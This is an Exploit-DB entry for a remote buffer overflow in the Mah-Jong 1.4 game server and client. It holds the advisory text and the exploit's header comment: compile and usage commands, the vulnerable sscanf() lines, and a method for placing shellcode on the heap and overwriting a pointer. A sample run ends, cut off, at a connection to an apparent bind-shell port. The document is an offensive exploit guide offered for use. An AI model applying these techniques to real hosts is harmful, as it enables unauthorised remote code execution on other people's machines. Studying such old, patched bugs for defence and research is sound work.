Exploit-DB #23115
Description: Mah-Jong 1.4 - Client/Server Remote sscanf() Buffer Overflow
Type: remote
Platform: linux
Date: 2003-09-07
Author: V9

Exploit:
// source: https://www.securityfocus.com/bid/8557/info

A remote buffer overflow vulnerability when calling the sscanf() function has been reported to affect the mah-jong game client and server programs. The issue occurs within seperate source files, however the code used by both programs is identical. It should be noted that the bug must be triggered using different options depending on whether the target is a client or server.

This vulnerability can be exploited to execute arbitrary code with the privileges of the target client or server application. 

/*[ mah-jong[v1.4]: server/client remote buffer overflow exploit. ]*
 *                                                                 *
 * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo)       *
 *                                                                 *
 * compile:                                                        *
 *  cc xmjong.c -o xmjong                                          *
 *                                                                 *
 * syntax:                                                         *
 *  ./xmjong <host|-b> [port] [return address] [offset]            *
 *                                                                 *
 * this program exploits the "SetPlayerOption" command of          *
 * mah-jong's server(mj-server) and the "PlayerOptionSet" command  *
 * of mah-jong's client(mj-player).  while this is an undiscovered *
 * bug, the giant all-purpose patch on debian's package site       *
 * appears to have resolved the issue.  as such, this exploit      *
 * is applied to CAN-2003-0705.                                    *
 *                                                                 *
 * the overflow itself occurs do to an unchecked sscanf() call to  *
 * write to little_buffer[32].  the situation is rather odd do to  *
 * the repetitive nature of dec_pmsg.c/dec_cmsg.c using sscanf()   *
 * to write to little_buffer[32] properly, with limitation         *
 * restrictions, the other 13 times.  the "SetPlayerOption" and    *
 * "PlayerOptionSet" command apparently slipped by.                *
 *                                                                 *
 * the original plan to exploit this bug was by placing the        *
 * shellcode after the overflow itself, in the same                *
 * little_buffer[32](shellcode on the stack) location.  however,   *
 * there happens to not be very much on the stack, so you start    *
 * running into environmental variables quickly.  this is too      *
 * dependent on the environment size, and will often run out of    *
 * bounds on small environments(ie. 0xc0000000 on linux).          *
 *                                                                 *
 * so, instead the shellcode is being placed on the heap in the    *
 * "buffer.1" buffer.  this can be found by running "objdump -x    *
 * mj-?????? | grep buffer.1", where "??????" is "server" or       *
 * "player", depending on what program is being exploited.  once   *
 * the "buffer.1" address is found add 512 to it, this is to skip  *
 * the initial (re-used) junk at the beginning of the buffer.      *
 *                                                                 *
 * bug location:                                                   *
 *  (server-side; dec_pmsg.c)                                      *
 *   316:if ( strcmp(type,"SetPlayerOption") == 0 ) {              *
 *   ...                                                           *
 *   324:if ( sscanf(s,"%s %n",little_string,&n) ==0 ) { warn("pr$ *
 *  (client-side; dec_cmsg.c)                                      *
 *   876:if ( strcmp(type,"PlayerOptionSet") == 0 ) {              *
 *   ...                                                           *
 *   884:if ( sscanf(s,"%s %n",little_string,&n) ==0 ) { warn("pr$ *
 *                                                                 *
 * fix:                                                            *
 *  1.4-2 patch, which can be found on debian's package site.      *
 *                                                                 *
 * exploit workings(commands sent to the server):                  *
 *  (server-side)                                                  *
 *   Connect 1034 0 <shellcode, under 1024 bytes>                  *
 *   SetPlayerOption <pointer overwrite, >32 byte overflow>        *
 *  (client-side)                                                  *
 *   <shellcode, under 1024 bytes>                                 *
 *   PlayerOptionSet <pointer overwrite, >32 byte overflow>        *
 *                                                                 *
 * example usages:                                                 *
 *  (server-side example usage)                                    *
 *   # cc xmjong.c -o xmjong                                       *
 *   # ./xmjong localhost 5000 `objdump -x mj-server|\             *
 *   > grep buffer.1|awk '{print $1}'` 512                         *
 *   [*] mah-jong[v1.4]: server/client remote buffer overflow exp$ *
 *   [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)          *
 *                                                                 *
 *   [*] target: localhost:5000, return address(buffer.1+512): 0x$ *
 *                                                                 *
 *   [*] attempting to connect: localhost:5000.                    *
 *   [*] successfully connected: localhost:5000.                   *
 *   [*] sending the strings to exploit the overflow.              *
 *   -> Connect 1034 0 ??????????????????????????????????????????$ *
 *   -> SetPlayerOption ?????????????????????????????????????????$ *
 *   [*] checking to see if the exploit was successful.            *
 *   [*] attempting to connect: localhost:45295.                   *
 *   [*] successfully connected: localhost